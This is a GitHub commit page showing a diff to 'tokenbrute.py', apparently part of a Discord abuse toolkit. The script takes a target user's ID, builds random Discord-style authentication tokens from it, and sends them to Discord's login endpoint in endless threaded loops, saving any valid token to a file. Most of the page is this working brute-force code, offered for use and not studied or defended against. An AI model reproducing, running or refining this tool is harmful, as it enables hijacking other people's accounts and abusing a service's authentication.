Skip to content

Commit

Permalink
Update tokenbrute.py
Browse files Browse the repository at this point in the history
  • Loading branch information
DXVVAY authored Jul 15, 2023
1 parent 85324f2 commit 3ec350d
Showing 1 changed file with 13 additions and 32 deletions.
45 changes: 13 additions & 32 deletions util/tokenbrute.py
Original file line number Diff line number Diff line change
@@ -1,33 +1,18 @@
import threading
from discord.ext import commands
import discord
import pyautogui
import time
from requests import post
from random import randint
import re
import http.client
import random
import json
import requests
from threading import Thread
from requests import Session
import base64
import random
import string
import sys
import threading
import requests
import os


def randstr(lenn):
alpha = "abcdefghijklmnopqrstuvwxyz0123456789"
text = ''
for i in range(0, lenn):
text += alpha[random.randint(0, len(alpha) - 1)]
return text


def spammer():

if not os.path.exists('token-brute.txt'):
with open('token-brute.txt', 'w') as f:
pass
Expand All @@ -38,14 +23,11 @@ def spammer():
id_to_token = base64.b64encode((input("Id of user: ")).encode("ascii"))
id_to_token = str(id_to_token)[2:-1]

def bruteforece():
while id_to_token == id_to_token:
token = id_to_token + '.' + ('').join(
random.choices(string.ascii_letters + string.digits, k=4)) + '.' + (
'').join(random.choices(string.ascii_letters + string.digits, k=25))

def bruteforce():
while True:
token = id_to_token + '.' + ''.join(random.choices(string.ascii_letters + string.digits, k=4)) + '.' + ''.join(
random.choices(string.ascii_letters + string.digits, k=25))
headers = {'Authorization': token}

login = requests.get('https://discord.com/api/v10/auth/login', headers=headers)
try:
if login.status_code == 200:
Expand All @@ -54,16 +36,15 @@ def bruteforece():
f.write(f'{token}\n')
else:
print('[-] INVALID' + ' ' + token)
except Exception as e:
print('Error:', e)
finally:
print('')

def thread():
while True:
threading.Thread(target=bruteforece).start()

thread()
def start_threads():
for _ in range(10):
threading.Thread(target=bruteforce).start()

exit = input('press any key: ')
exit = spammer()
start_threads()

spammer()

0 comments on commit 3ec350d

Please sign in to comment.